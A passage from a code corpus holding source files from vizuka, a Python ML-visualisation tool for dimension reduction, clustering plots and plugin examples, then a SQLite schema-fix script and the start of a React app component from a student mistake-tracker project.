you want 2
:param min_ratio_variance_explained: default to -1, if between
[0,1] it will adjust the number of dimensions for the projection's
explained variance ratio to match this param
"""
self.method='pca'
self.register_parameters(
parameters={
'nb_dimension' : nb_dimension,
'min_ratio_variance_explained': min_ratio_variance_explained
}
)
self.engine = PCA_algorithm(svd_solver='randomized')
def project(self, x):
"""
Projects :param x:
..seealso: __init__
"""
logging.info("dimension_reduction = starting PCA dimensional reduction")
if self.parameters['min_ratio_variance_explained'] > -1:
logging.info("dimension_reduction = needs an explained variance of {}\%".format(
self.parameters['min_ratio_variance_explained']*100)
)
self.engine.fit(x)
if self.parameters['min_ratio_variance_explained']>0:
variance_explained = 0.
nb_dim_to_keep = 0
while variance_explained < self.parameters['min_ratio_variance_explained']:
variance_explained += self.engine.explained_variance_ratio_[nb_dim_to_keep]
nb_dim_to_keep += 1
else:
nb_dim_to_keep = self.parameters['nb_dimension']
x_pcaed = self.engine.fit_transform(x)
self.projections = x_pcaed[:,:nb_dim_to_keep]
logging.info( "PCA successfull,"
"{} dimensions (axis) where kept after orthnormalization".format(
nb_dim_to_keep)
)
return self.projections
|
0011001011/vizuka
| 3,131 |
vizuka/dimension_reduction/projector.py
|
import os
import logging
import numpy as np
from vizuka.config import (
VERSION,
REDUCED_DATA_PATH,
NAME_VALUE_SEPARATOR,
PARAMETERS_SEPARATOR,
)
class Projector():
def __init__(self):
"""
Instanciate a Projector engine, you should give it
here all the parameters
"""
self.method='null'
self.projections = np.array([])
self.parameters = {} # In your implementation, do add you parameters here !
# If you don't, two projections with different
# parameters will be saved in the same file, the new
# one overwritting the old one ..see: self.save
def project(self, x):
"""
Projects the x vector into a 2D space according to the
parameters specified in __init__
"""
self.projections = np.array([[0,0] for _ in range(len(x))])
return self.projections
# GENERIC PROJECTOR FUNCTIONS
#############################
def register_parameters(self, parameters):
"""
This function looks silly but it enforces the fact that parameters should
alml remain in the same dict for some other functions to be able to fetch
them by name:value
"""
self.parameters = parameters
def get_param_from_name(name):
"""
Returns the method and parameters of the projector
from its name
"""
params = {}
blocks = name.split(PARAMETERS_SEPARATOR)
method, version, *blocks = blocks
for block in blocks:
if block:
name, value = block.split(NAME_VALUE_SEPARATOR)
params[name] = value
return method, version, params
def get_savename(self, version=VERSION, path=REDUCED_DATA_PATH):
name = ''.join([self.method, PARAMETERS_SEPARATOR, version])
ordered_name = np.sort(list(self.parameters.keys()))
name += ''.join(PARAMETERS_SEPARATOR + str(param_name) + NAME_VALUE_SEPARATOR + str(self.parameters[param_name]) for param_name in ordered_name)
return ''.join([path, name, '.npz'])
def load_projection(self, version=VERSION, path=REDUCED_DATA_PATH):
full_path = self.get_savename(version, path)
if os.path.exists(full_path):
return np.load(full_path)['x_2D']
else:
logging.info("Nothing found in {}!".format(full_path))
return np.array([])
def save_projection(self, version=VERSION, path=REDUCED_DATA_PATH):
"""
Save the projection in standard location with appropriate name,
which depends on the parameters of the algorithm
"""
full_path = self.get_savename(version, path)
np.savez(full_path, x_2D=self.projections)
|
0011001011/vizuka
| 1,373 |
vizuka/dimension_reduction/tsne.py
|
import numpy as np
import logging
try:
from MulticoreTSNE import MulticoreTSNE as tsne_algorithm
using_multicore_tsne = True
multicore_parameters = {'n_jobs':3}
logging.info('dimension_reduction = Using fast tSNE')
except:
from sklearn.manifold import TSNE as tsne_algorithm
using_multicore_tsne = False
multicore_parameters = {}
logging.info('dimension_reduction = ALERT: Using slow tSNE, potential segfault if dataset too big (see requirements/requirements.apt')
from vizuka.dimension_reduction import (
projector,
)
class tSNE(projector.Projector):
def __init__(self, perplexity, learning_rate, n_iter):
self.method = 'tsne'
self.register_parameters(
parameters = {
'perplexity' : perplexity,
'learning_rate': learning_rate,
'n_iter' : n_iter,
}
)
self.engine = tsne_algorithm(
perplexity = self.parameters['perplexity'],
learning_rate = self.parameters['learning_rate'],
n_iter = self.parameters['n_iter'],
**multicore_parameters,
)
self.projections = []
def project(self, x):
self.projections = self.engine.fit_transform(x)
return self.projections
|
0011001011/vizuka
| 1,446 |
vizuka/frontier/__init__.py
|
import os
import pkgutil
import inspect
import importlib
import pickle
from vizuka.frontier import (
similarity,
deterministic,
bhattacharyya,
)
from vizuka.plugins import frontier as frontier_plugins
def list_frontiers():
"""
List all frontiers available (in vizuka/plugin/frontier
and vizuka/frontier)
:return: a dict {method_name:frontier_calculator}
"""
built_in_similarity= {
'bhattacharyya' :bhattacharyya.Bhattacharyya,
'all' :deterministic.AllFrontiers,
'none' :deterministic.NoneFrontiers,
}
extra_similarity = {}
for (module_loader, name, ispkg) in pkgutil.iter_modules(frontier_plugins.__path__):
plugin = importlib.import_module('.plugins.frontier.'+name, 'vizuka')
members = inspect.getmembers(plugin)
for _, class_ in members:
if inspect.isclass(class_):
if issubclass(class_, similarity.Similarity):
extra_similarity[name] = class_
return built_in_similarity, extra_similarity
def make_frontier(method):
"""
Returns the associated frontier calculator
"""
built_in_similarity, extra_similarity = list_frontiers()
available_similarity = {**built_in_similarity, **extra_similarity}
similarity_builder = available_similarity.get(method, None)
return similarity_builder()
|
0011001011/vizuka
| 1,375 |
vizuka/cluster_viewer/__init__.py
|
import importlib
import pkgutil
import inspect
from vizuka.plugins import cluster_viewer as plotter_plugins
from vizuka.cluster_viewer import (
plotter,
image,
density,
counter,
#wordcloud,
)
def list_plotter():
built_in_plotters = {
'images': image.RandomImages,
'density': density.Density,
'logdensity': density.LogDensity,
'counter': counter.Counter,
#'wordcloud':wordcloud.Wordcloud,
}
extra_plotters = {}
for (module_loader, name, ispkg) in pkgutil.iter_modules(
plotter_plugins.__path__):
plugin = importlib.import_module('.plugins.cluster_viewer.' + name,
'vizuka')
members = inspect.getmembers(plugin)
for _, class_ in members:
if class_ in plotter.Plotter.__subclasses__():
extra_plotters[name] = class_
return built_in_plotters, extra_plotters
def make_plotter(method):
"""
Returns the plotter function, which represents data
:param method: the name of the plotter (..seealo:: list_plotter)
..seealso:: vizuka.cluster_viewer.plotter
"""
built_in_plotters, extra_plotters = list_plotter()
available_plotters = {**built_in_plotters, **extra_plotters}
selected_plotter = available_plotters.get(method, None)
return selected_plotter()
|
0011001011/vizuka
| 1,240 |
vizuka/cluster_viewer/image.py
|
import random
import matplotlib
matplotlib.use('Qt5Agg') # noqa
from matplotlib import pyplot as plt
from matplotlib import gridspec
from vizuka.cluster_viewer.plotter import Plotter
class RandomImages(Plotter):
@classmethod
def get_help(self):
h = "Use it to display 25 randomly selected images"
return h
def __call__(self, data, fig, spec):
"""
Plots some random images found in the :param data: list given
:param: data is a list of the observations
:param: fig is the Figure on which the axe will be drawn
:param:spec is the GridSpec for the axe
:return: the axe with the visualization
"""
if not data:
return
length = max(len(data)-1,0)
selected_data = [data[random.randint(0,length)] for _ in range(25)]
inner = gridspec.GridSpecFromSubplotSpec(
5,5,
subplot_spec=spec)
axes = []
for idx, inner_spec in enumerate(inner):
axe = plt.Subplot(fig, inner_spec)
axe.imshow(selected_data[idx])
axe.axis("off")
fig.add_subplot(axe)
axes.append(axe)
return axes[2]
|
0011001011/vizuka
| 2,058 |
vizuka/cluster_viewer/density.py
|
import numpy as np
import matplotlib
matplotlib.use('Qt5Agg') # noqa
from matplotlib import pyplot as plt
from vizuka.cluster_viewer.plotter import Plotter
class Density(Plotter):
@classmethod
def get_help(self):
h = "Use it to display the distribution of *numerical* values"
return h
def __call__(self, data, fig, spec):
"""
Plot the density of your :param: data distribution
:param: data is a list of the observations
:param: fig is the Figure on which the axe will be drawn
:param:spec is the GridSpec for the axe
:return: the axe with the visualization
"""
if not data:
return
axe = plt.Subplot(fig, spec)
data = [float(d) for d in data]
bins = 100 # int(len(data)/10)
hist, bins = np.histogram(data, bins=bins)
width = .7 *(bins[1] - bins[0])
center = (bins[:-1] + bins[1:])/2
axe.set_yscale('linear')
axe.bar(center, hist, align='center', width=width)
fig.add_subplot(axe)
return axe
class LogDensity(Plotter):
@classmethod
def get_help(self):
h = "Use it to display the distribution of *numerical* values (logscale)"
return h
def __call__(self, data, fig, spec):
"""
Plot the log-density of your :param: data distribution
:param: data is a list of the observations
:param: fig is the Figure on which the axe will be drawn
:param:spec is the GridSpec for the axe
:return: the axe with the visualization
"""
if not data:
return
axe = plt.Subplot(fig, spec)
data = [float(d) for d in data]
bins = 100 # int(len(data)/10)
hist, bins = np.histogram(data, bins=bins)
width = .7 *(bins[1] - bins[0])
center = (bins[:-1] + bins[1:])/2
axe.set_yscale('log')
axe.bar(center, hist, align='center', width=width)
fig.add_subplot(axe)
return axe
|
0011001011/vizuka
| 1,199 |
vizuka/cluster_viewer/counter.py
|
from collections import Counter as pyCounter
import numpy as np
import matplotlib
matplotlib.use('Qt5Agg') # noqa
from matplotlib import pyplot as plt
from vizuka.cluster_viewer.plotter import Plotter
class Counter(Plotter):
@classmethod
def get_help(self):
h = "Use it to display a counter, for *categorical* values"
return h
def __call__(self, data, fig, spec):
"""
Show a counter of each class occurrences
:param: data is a list of the observations
:param: fig is the Figure on which the axe will be drawn
:param:spec is the GridSpec for the axe
:return: the axe with the visualization
"""
if not data:
return
axe = plt.Subplot(fig, spec)
c = pyCounter(data)
x = [l for l in c.keys()]
y = [c[l] for l in x]
order = np.argsort(y)
y = [y[i] for i in order]
x = [x[i] for i in order]
graduation = np.linspace(0, len(y), len(y))
axe.bar(height=y, left=graduation)
axe.set_xticks(graduation)
axe.set_xticklabels([str(i) for i in x])
fig.add_subplot(axe)
return axe
|
0011001011/vizuka
| 1,540 |
vizuka/example/load_mnist.py
|
import os
import shutil
import sklearn.datasets as dt
import sklearn.preprocessing as pr
from sklearn.linear_model import LogisticRegression
import numpy as np
from vizuka.config import (
DATA_PATH,
MODEL_PATH,
RAW_NAME,
INPUT_FILE_BASE_NAME,
REDUCED_DATA_PATH,
)
predictor_name = 'predict_'
version = 'MNIST_example'
extension = '.npz'
print("mnist=Downloading")
mnist = dt.fetch_mldata('MNIST original')
raw = mnist['data']
print("mnist=Preprocessing")
x = [pr.normalize(x.reshape(1,28**2))[0] for x in raw]
y = [str(int(y)) for y in mnist['target']]
print("mnist=Fitting a stupid logistic regression")
l = LogisticRegression()
l.fit(x,y)
predictions = l.predict(x)
print("mnist=Saving all files in vizuka/data/*.npz")
np.savez(
''.join([
os.path.join(DATA_PATH, RAW_NAME),
version,
extension,
]),
x=[[image.reshape(28,28)] for image in raw],
columns=['image'],
)
np.savez(
''.join([
os.path.join(DATA_PATH, INPUT_FILE_BASE_NAME),
version,
extension,
]),
x=x,
y=y,
)
np.savez(
''.join([
os.path.join(MODEL_PATH, predictor_name),
version,
extension,
]),
y=predictions,
)
shutil.copy(
os.path.join(os.path.dirname(__file__), 'tsne#MNIST_example#learning_rate@@1000#n_iter@@12000#perplexity@@50.npz'),
REDUCED_DATA_PATH,
)
|
0011001011/vizuka
| 1,271 |
vizuka/helpers/ml_helper.py
|
"""
Cool functions for ML
"""
import math
import numpy as np
def entropy(my_dic):
"""
StraightForward entropy calculation
:param my_dict: dict of occurence of different classes
:return: discrete entropy calculation
"""
effectif_total = sum(my_dic.values())
s = 0
for effectif in my_dic.values():
proportion = effectif / effectif_total
if proportion > 0:
s += proportion * math.log(proportion)
return -s
def cross_entropy(global_distribution, specialized_distribution, global_entropy=None):
"""
Cross-entropy between two dicts
global_dictionnary must contains all keys in specialized_distribution
:param gobal_distribution: dictionnary containing {class_label:occurence}
:param specialized_distribution: dictionnary containing {class_label:occurence}
"""
specialized_array = np.array(specialized_distribution)
if global_entropy is None:
global_array = np.array(global_distribution)
global_entropy = np.log(global_array / np.sum(global_array))
if len(global_array) == 0: # case where there's nothing
return 0
entropy_local = specialized_array / np.sum(specialized_array)
return np.sum( - entropy_local * global_entropy)
|
0011001011/vizuka
| 7,309 |
vizuka/helpers/viz_helper.py
|
"""
Some uninteresting functions you need for the vizualization objects
"""
import math
import logging
import matplotlib
import numpy as np
def remove_pathCollection(ax):
for child in ax.get_children():
if isinstance(child, matplotlib.collections.PathCollection):
child.remove()
def find_grid_position(x, y, resolution, amplitude):
"""
Gives the int indexes of (x,y) inside the grid matrix
:param resolution: size of grid (nb of square by row/column)
:param amplitude: size of embedded space, as max of axis (rounded as an int)
e.g: [[-1,1],[.1,.1] as an amplitude of 2
"""
z1 = math.floor(x / (amplitude / float(resolution)))
z2 = math.floor(y / (amplitude / float(resolution)))
return z1, z2
def find_grid_positions(xys, resolution, amplitude):
return [
find_grid_position(
xy[0], xy[1],
resolution,
amplitude,
)
for xy in xys
]
def find_amplitude(projection):
"""
Find the absolute max of the axis
"""
x_proj_amplitude = 1 + int(
max(-min(np.array(projection)[:, 0]), max(np.array(projection)[:, 0])))
y_proj_amplitude = 1 + int(
max(-min(np.array(projection)[:, 1]), max(np.array(projection)[:, 1])))
return 2 * max(x_proj_amplitude, y_proj_amplitude)
def separate_prediction(predicted_outputs, true_outputs, special_class):
"""
Gives the index of good/bad/not predicted
:param predicted_outputs: possible_outputs_list predicted, decoded (human-readable)
:param true_outputs: true possible_outputs_list, decoded (human-readable)
:param special_class: label (decoded) of special class (typically 0)
:return: indexes of (bad predictions, good prediction, special_class predictions)
:rtype: array(int), array(int), array(int)
"""
index_bad_predicted = set()
index_well_predicted = set()
index_not_predicted = set()
# Sort good / bad / not predictions
for index, prediction in enumerate(predicted_outputs):
if special_class == true_outputs[index]:
index_not_predicted.add(index)
if prediction == true_outputs[index]:
index_well_predicted.add(index)
else:
index_bad_predicted.add(index)
return index_bad_predicted, index_well_predicted, index_not_predicted
def get_projections_from_index(index_good, index_bad, index_special, all_projections):
"""
From indexes, return the corresponding entries in all_projections in
np.array format
"""
good_projections = np.array(
[all_projections[i] for i in index_good])
bad_projections = np.array(
[all_projections[i] for i in index_bad])
special_projections = np.array(
[all_projections[i] for i in index_special])
return good_projections, bad_projections, special_projections
def get_accuracy_by_class(
index_by_ground_truth,
ground_truth,
predictions,
all_classes ):
"""
Finds the accuracy by class
"""
accuracy_by_class = {}
for possible_output in all_classes:
if not possible_output in index_by_ground_truth:
continue
list_correct_index = index_by_ground_truth[possible_output]
if not len(list_correct_index) > 0:
accuracy_by_class[possible_output] = 0
continue
accuracy_by_class[possible_output] = sum(
[
(ground_truth[i] == predictions[i])
for i in list_correct_index
]
) / float(len(list_correct_index))
return accuracy_by_class
def cluster_label_mesh(
clusterizer,
data,
data_by_ground_truth,
ground_truth,
):
"""
Labels the mesh centroids
Useful for heatmap right after this method. Should be called just
after a change in clustering method. Parameter is implicitely the
clusteriser of the vizualization
"""
if len(data)==0:
return {}, set(), {}, []
cluster_by_idx = clusterizer.predict(data)
all_cluster_labels = set(cluster_by_idx)
index_by_cluster_label = { cluster_label:[] for cluster_label in all_cluster_labels }
nb_of_points_by_class_by_cluster = {
cluster_label: {
output_class:0 for output_class in data_by_ground_truth }
for cluster_label in all_cluster_labels
}
for index, cluster_label in enumerate(cluster_by_idx):
index_by_cluster_label[cluster_label].append(index)
nb_of_points_by_class_by_cluster[cluster_label][ground_truth[index]]+=1
return (
index_by_cluster_label,
all_cluster_labels,
nb_of_points_by_class_by_cluster,
cluster_by_idx,
)
def get_count_by_cluster(
all_cluster_labels,
index_by_cluster_label,
ground_truth,
index_good,
index_bad,
index_special):
"""
Computes various variables based on cluster newly clusterized such as
indexes of each data in each cluster etc..
"""
nb_null_point_by_cluster = dict()
nb_good_point_by_cluster = dict()
nb_bad_point_by_cluster = dict()
nb_good_point_by_class_by_cluster = dict()
nb_bad_point_by_class_by_cluster = dict()
logging.info('clustering: analyze each one')
for cluster_label in all_cluster_labels:
nb_good_point_by_cluster[cluster_label] = 0
nb_bad_point_by_cluster[cluster_label] = 0
nb_null_point_by_cluster[cluster_label] = 0
nb_good_point_by_class_by_cluster[cluster_label] = {}
nb_bad_point_by_class_by_cluster[cluster_label] = {}
for point_in_cluster_index in index_by_cluster_label[cluster_label]:
point_correct_output = ground_truth[point_in_cluster_index]
if point_in_cluster_index in index_good:
nb_good_point_by_cluster[cluster_label] += 1
if point_correct_output in nb_good_point_by_class_by_cluster[cluster_label]:
nb_good_point_by_class_by_cluster[cluster_label][point_correct_output] += 1
else:
nb_good_point_by_class_by_cluster[cluster_label][point_correct_output] = 1
elif point_in_cluster_index in index_bad:
nb_bad_point_by_cluster[cluster_label] += 1
if point_correct_output in nb_bad_point_by_class_by_cluster[cluster_label]:
nb_bad_point_by_class_by_cluster[cluster_label][point_correct_output] += 1
else:
nb_bad_point_by_class_by_cluster[cluster_label][point_correct_output] = 1
elif point_in_cluster_index in index_special:
nb_null_point_by_cluster[cluster_label] += 1
else:
logging.error("index not in any indexes : %s", point_in_cluster_index)
return (
nb_good_point_by_cluster,
nb_bad_point_by_cluster,
nb_good_point_by_class_by_cluster,
nb_bad_point_by_class_by_cluster,
nb_null_point_by_cluster,
)
|
0011001011/vizuka
| 3,914 |
vizuka/plugins/heatmap/How_to_add_heatmap.py
|
##################################################################
#
# HOW TO ADD A CUSTOM HEATMAP ?
###############################
#
#
# This one plugin is a headache to implements : actually you will need
# to request some variable from the Vizualization object (good luck!)
#
# You can define here a heatmap, its name will be the .py name, and
# you can request it at vizuka launch
# (vizuka --heatmap1=my_custom_heatmap_name)
#
# It should inherits vizuka.heatmap.heatmap.Heatmap (yea sorry about
# that) and implements the basics methods specified there (very simple)
#
# See example below or Abstract class in vizuka.heatmap.heatmap
#
# One color by cluster !
#
# The object vizuka.vizualization.Vizualization is passed in the constructor by
# default, you can change this in vizuka.vizualization.request_heatmap()
# if you need other variable but all the info you may want should be
# fetchable in the Vizualization object
#
# Here is a working example, which is simply the accuracy heatmap :
#
######################################################################
###################
# WORKING EXAMPLE #
#####################################################################
#
# import numpy as np
# import logging
#
# from vizuka.heatmap import heatmap
#
# class AccuracyHeatmap(heatmap.Heatmap):
#
# def __init__(self, vizualization):
# """
# Prepare an 'accuracy' heatmap (good predictions / total effectif)
#
# Heatmap showing the accuracy of the prediction, 3 colors are actually used :
# - red for bad prediction
# - blue for correct
# - green for special_class which is a special label defined at the Vizualization.__init__
# (typically the label "0")
#
# All colors are mixed linearly
#
# :returns: a dict of colors to be plotted (indexed by x by y)
#
# """
# self.update_colors(vizualization)
#
#
# def update_colors(self, vizualization):
# """
# Updates the colors with the new vizualization object
# '''
# self.all_colors = [[0 for _ in range(vizualization.resolution)] for _ in range(vizualization.resolution) ]
# centroids_cluster_by_index = vizualization.clusterizer.predict(vizualization.mesh_centroids)
# logging.info('heatmap: drawing accuracy heatmap')
#
# for index, (x, y) in enumerate(vizualization.mesh_centroids):
#
# current_centroid_cluster_label = centroids_cluster_by_index[index]
#
# nb_good_points = vizualization.nb_good_point_by_cluster.get(current_centroid_cluster_label, 0)
# nb_bad_points = vizualization.nb_bad_point_by_cluster.get (current_centroid_cluster_label, 0)
# nb_null_points = vizualization.nb_null_point_by_cluster.get(current_centroid_cluster_label, 0)
#
# nb_of_valid_cluster_points = nb_good_points + nb_bad_points
#
# if nb_of_valid_cluster_points > 0:
# accuracy_correct = nb_good_points / float(nb_of_valid_cluster_points)
# accuracy_null = nb_null_points / float(nb_of_valid_cluster_points)
# accuracy_incorrect = 1 - accuracy_correct
# else:
# accuracy_correct = 1
# accuracy_null = 1
# accuracy_incorrect = 1
#
# red = accuracy_incorrect
# green = accuracy_null
# blue = accuracy_correct
#
# x_coordinate, y_coordinate = vizualization.get_coordinates_from_index(index)
#
# self.all_colors[x_coordinate][y_coordinate ] = [red, green, blue]
#
# def get_all_colors(self):
# """
# Returns colors by x by y coordinates
# """
# return self.all_colors
#
#
########################################################
|
0011001011/vizuka
| 1,679 |
vizuka/plugins/clustering/How_to_add_a_clustering_engine.py
|
###########################################################################################
#
# How to add a clustering engine ?
#
##################################
#
# Simply creates a class in a new module that
# implements vizuka.clustering.clusterizer.Clusterizer
#
# Below is a simple example, with kmeans.
# If you need special parameters, pass them in vizualization.py (search "make_clusterizer")
# If these special parameters are hyperparameters, use
# self.register_parameters (see below). This is important for Vizuka to
# know which parameters to ask the user when you launch the clustering
# engine from the qt interface.
#
#
##########################################################################################
###################
#
# WORKING EXAMPLE :
#
###################
#
#class KmeansClusterizer(Clusterizer):
#
# def __init__(self, number_of_clusters=15):
# """
# Uses sklearn kmeans
# """
# self.register_parameters(
# parameters={'number_of_clusters':number_of_clusters})
#
# self.method = 'kmeans'
# self.number_of_clusters = number_of_clusters
#
# self.engine = KMeans(
# n_clusters=int(float(self.number_of_clusters)),
# )
#
# def fit(self, xs):
# """
# Fit the datas and find clusterization adapted to the data provided
#
# :param xs: data to clusterize
# """
# self.engine.fit(xs)
#
# def predict(self, xs):
# """
# Predicts cluster label
#
# :param xs: array-like of datas
# :return: list of cluster possible_outputs_list
# """
# return self.engine.predict(xs)
|
0011001011/vizuka
| 1,859 |
vizuka/plugins/dimension_reduction/How_to_add_dimension_reduction_plugin.py
|
#############################################
#
# How to add a dimension reduction algorithm ?
#
##################
#
# Below is a working example. You should simply inherits
# vizuka.dimension_reduction.projector.Projector and implements
# a contructor and a project method.
#
# Typically in the __init__ you instanciate your engine (e.g the
# TSNE object from sklearn.manifold) and /!\ register its parameters
# (see example below). This is important for vizuka to be able to
# ask the users the values of the parameters and not confuse different
# projections with different parameters.
#
# "project" method takes as input an array of your high-dimensional
# and returns an array with projection (/!\: set the self.projections
# object to your 2D embedding array (see below)).
#
######################################################################
#####################################################################
#
# from vizuka.dimension_reduction import projector
# from sklearn.manifold import TSNE
#
# class tSNE(projector.Projector):
#
# def __init__(self, perplexity, learning_rate, n_iter):
#
# self.method = 'tsne'
#
# self.register_parameters(
# parameters = {
# 'perplexity' : perplexity,
# 'learning_rate': learning_rate,
# 'n_iter' : n_iter,
# }
# )
#
# self.engine = TSNE(
# perplexity = self.parameters['perplexity'],
# learning_rate = self.parameters['learning_rate'],
# n_iter = self.parameters['n_iter'],
# **multicore_parameters,
# )
# self.projections = []
#
# def project(self, x):
# self.projections = self.engine.fit_transform(x)
# return self.projections
|
0011001011/vizuka
| 2,007 |
vizuka/plugins/cluster_viewer/How_to_add_cluster_vizualization.py
|
# HOW TO ADD A CLUSTER VIZUALIZATION ?
######################################
#
# If you want to add another tool toi visualize the inner observations inside a selected cluster
# you can add here an new tool.
#
# You should inherits vizuka.cluster_viewer.plotter.Plotter, and define a callable,
# cf the simple the example below.
# Three arguments are passed to you : data array , a fig and a gridspec
#
# Use them as follow :
# - at the beginning : axe = plt.Subplot(fig, spec)
# - do stuff : axe.plot(do_stuff(data))
# - at the end : fig.add_subplot(axe)
#
# Call it at vizuka runtime : vizuka -s COLUMN_NAME:this_filename
#
##########################################################################################
#################
# WORKING EXAMPLE
#################
#
# from collections import Counter
#
# import numpy as np
# import matplotlib
# matplotlib.use('Qt5Agg') # noqa
# from matplotlib import pyplot as plt
#
# from vizuka.cluster_viewer.plotter import Plotter
#
# class Counter(Plotter):
#
# def __call__(self, data, fig, spec):
# """
# Show a counter of each class occurrences
#
# :param: data is a list of the observations
# :param: fig is the Figure on which the axe will be drawn
# :param:spec is the GridSpec for the axe
#
# :return: the axe with the visualization
# """
# if not data:
# return
# axe = plt.Subplot(fig, spec)
#
# c = Counter(data)
# x = [l for l in c.keys()]
# y = [c[l] for l in x]
#
#
# order = np.argsort(y)
# y = [y[i] for i in order]
# x = [x[i] for i in order]
#
# graduation = np.linspace(0, len(y), len(y))
# axe.bar(height=y, left=graduation)
# axe.set_xticks(graduation)
# axe.set_xticklabels([str(i) for i in x])
# fig.add_subplot(axe)
#
# return axe
#
#######################################################################
|
000haoji/deep-student
| 4,582 |
fix_database_schema.py
|
#!/usr/bin/env python3
"""
数据库修复脚本 - 添加缺失的总结字段
"""
import sqlite3
import os
import sys
DB_PATH = "/mnt/h/NEW-DS2/NEW-DS/ai-mistake-manager/src-tauri/app_data/ai-mistake-manager/mistakes.db"
def check_db_exists():
if not os.path.exists(DB_PATH):
print(f"❌ 数据库文件不存在: {DB_PATH}")
return False
print(f"✅ 数据库文件存在: {DB_PATH}")
return True
def check_table_schema(cursor):
"""检查mistakes表的当前结构"""
print("\n🔍 检查mistakes表结构...")
try:
cursor.execute("PRAGMA table_info(mistakes)")
columns = cursor.fetchall()
print(f"📊 mistakes表当前有 {len(columns)} 列:")
column_names = []
for col in columns:
print(f" - {col[1]} ({col[2]})")
column_names.append(col[1])
has_mistake_summary = 'mistake_summary' in column_names
has_user_error_analysis = 'user_error_analysis' in column_names
print(f"\n📋 总结字段检查:")
print(f" - mistake_summary: {'✅ 存在' if has_mistake_summary else '❌ 缺失'}")
print(f" - user_error_analysis: {'✅ 存在' if has_user_error_analysis else '❌ 缺失'}")
return has_mistake_summary, has_user_error_analysis, column_names
except sqlite3.Error as e:
print(f"❌ 检查表结构失败: {e}")
return False, False, []
def check_schema_version(cursor):
"""检查数据库版本"""
try:
cursor.execute("SELECT version FROM schema_version ORDER BY version DESC LIMIT 1")
result = cursor.fetchone()
if result:
version = result[0]
print(f"📦 当前数据库版本: v{version}")
return version
else:
print("⚠️ 未找到版本信息")
return 0
except sqlite3.Error as e:
print(f"⚠️ 检查版本失败: {e}")
return 0
def add_missing_columns(cursor):
"""添加缺失的列"""
print("\n🔧 开始添加缺失的总结字段...")
try:
# 添加 mistake_summary 字段
cursor.execute("ALTER TABLE mistakes ADD COLUMN mistake_summary TEXT")
print("✅ 已添加 mistake_summary 字段")
except sqlite3.Error as e:
if "duplicate column" in str(e).lower():
print("ℹ️ mistake_summary 字段已存在")
else:
print(f"❌ 添加 mistake_summary 字段失败: {e}")
try:
# 添加 user_error_analysis 字段
cursor.execute("ALTER TABLE mistakes ADD COLUMN user_error_analysis TEXT")
print("✅ 已添加 user_error_analysis 字段")
except sqlite3.Error as e:
if "duplicate column" in str(e).lower():
print("ℹ️ user_error_analysis 字段已存在")
else:
print(f"❌ 添加 user_error_analysis 字段失败: {e}")
def update_schema_version(cursor):
"""更新数据库版本到v7"""
try:
cursor.execute("INSERT OR REPLACE INTO schema_version (version) VALUES (7)")
print("✅ 已更新数据库版本到 v7")
except sqlite3.Error as e:
print(f"❌ 更新版本失败: {e}")
def check_mistakes_count(cursor):
"""检查错题数量"""
try:
cursor.execute("SELECT COUNT(*) FROM mistakes")
count = cursor.fetchone()[0]
print(f"📊 数据库中共有 {count} 条错题记录")
if count > 0:
cursor.execute("SELECT DISTINCT subject FROM mistakes")
subjects = [row[0] for row in cursor.fetchall()]
print(f"📚 涉及科目: {', '.join(subjects)}")
# 检查化学科目
cursor.execute("SELECT COUNT(*) FROM mistakes WHERE subject = '化学'")
chemistry_count = cursor.fetchone()[0]
print(f"🧪 化学科目错题: {chemistry_count} 条")
return count
except sqlite3.Error as e:
print(f"❌ 查询错题数量失败: {e}")
return 0
def main():
print("🚀 开始数据库修复...")
if not check_db_exists():
return
try:
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
# 检查当前状态
version = check_schema_version(cursor)
count = check_mistakes_count(cursor)
has_summary, has_analysis, columns = check_table_schema(cursor)
# 如果字段缺失，则添加
if not has_summary or not has_analysis:
add_missing_columns(cursor)
# 更新版本
if version < 7:
update_schema_version(cursor)
# 提交更改
conn.commit()
print("\n✅ 数据库修复完成！")
# 重新检查
print("\n🔍 验证修复结果...")
check_table_schema(cursor)
else:
print("\n✅ 数据库结构正常，无需修复")
conn.close()
except sqlite3.Error as e:
print(f"❌ 数据库操作失败: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
|
000haoji/deep-student
| 57,191 |
temp_app_before_cleanup.tsx
|
import { useState, useEffect, useCallback } from 'react';
import { MistakeLibrary } from './components/MistakeLibrary';
import { Settings } from './components/Settings';
import { BatchAnalysis } from './components/BatchAnalysis';
import { ReviewAnalysis } from './components/ReviewAnalysis';
import { Dashboard } from './components/Dashboard';
import ReviewAnalysisDashboard from './components/ReviewAnalysisDashboard';
import CreateReviewAnalysisView from './components/CreateReviewAnalysisView';
import ReviewAnalysisSessionView from './components/ReviewAnalysisSessionView';
import { ReviewAnalysisLibrary } from './components/ReviewAnalysisLibrary';
import { MistakeDetail } from './components/MistakeDetail';
import { DataImportExport } from './components/DataImportExport';
import BackendTest from './components/BackendTest';
import { FormulaTest } from './components/FormulaTest';
import { MessageWithThinking } from './components/MessageWithThinking';
import { AnalysisWithAISDK } from './components/AnalysisWithAISDK';
import AnkiCardGeneration from './components/AnkiCardGeneration';
import { KnowledgeBaseManagement } from './components/KnowledgeBaseManagement';
import { RagQueryView } from './components/RagQueryView';
import { WindowControls } from './components/WindowControls';
import { useWindowDrag } from './hooks/useWindowDrag';
import { ImageViewer } from './components/ImageViewer';
// 移除不再使用的streamHandler import
import { TauriAPI, MistakeItem } from './utils/tauriApi';
import './App.css';
import './DeepStudent.css';
import './components/AnkiCardGeneration.css';
interface ChatMessage {
role: string;
content: string;
timestamp: string;
thinking_content?: string;
rag_sources?: Array<{
document_id: string;
file_name: string;
chunk_text: string;
score: number;
chunk_index: number;
}>;
}
interface AnalysisResponse {
temp_id: string;
initial_data: {
ocr_text: string;
tags: string[];
mistake_type: string;
first_answer: string;
};
}
interface ContinueChatResponse {
new_assistant_message: string;
}
type CurrentView = 'analysis' | 'library' | 'settings' | 'mistake-detail' | 'batch' | 'review' | 'dashboard' | 'data-management' | 'backend-test' | 'formula-test' | 'ai-sdk-analysis' | 'unified-review' | 'create-review' | 'review-session' | 'review-library' | 'anki-generation' | 'knowledge-base';
// 真实API调用
const analyzeNewMistake = TauriAPI.analyzeNewMistake;
const continueChat = async (request: any): Promise<ContinueChatResponse> => {
return TauriAPI.continueChat(request);
};
function App() {
const [currentView, setCurrentView] = useState<CurrentView>('analysis');
const [selectedMistake, setSelectedMistake] = useState<MistakeItem | null>(null);
const [showDataManagement, setShowDataManagement] = useState(false);
const [sidebarCollapsed, setSidebarCollapsed] = useState(false);
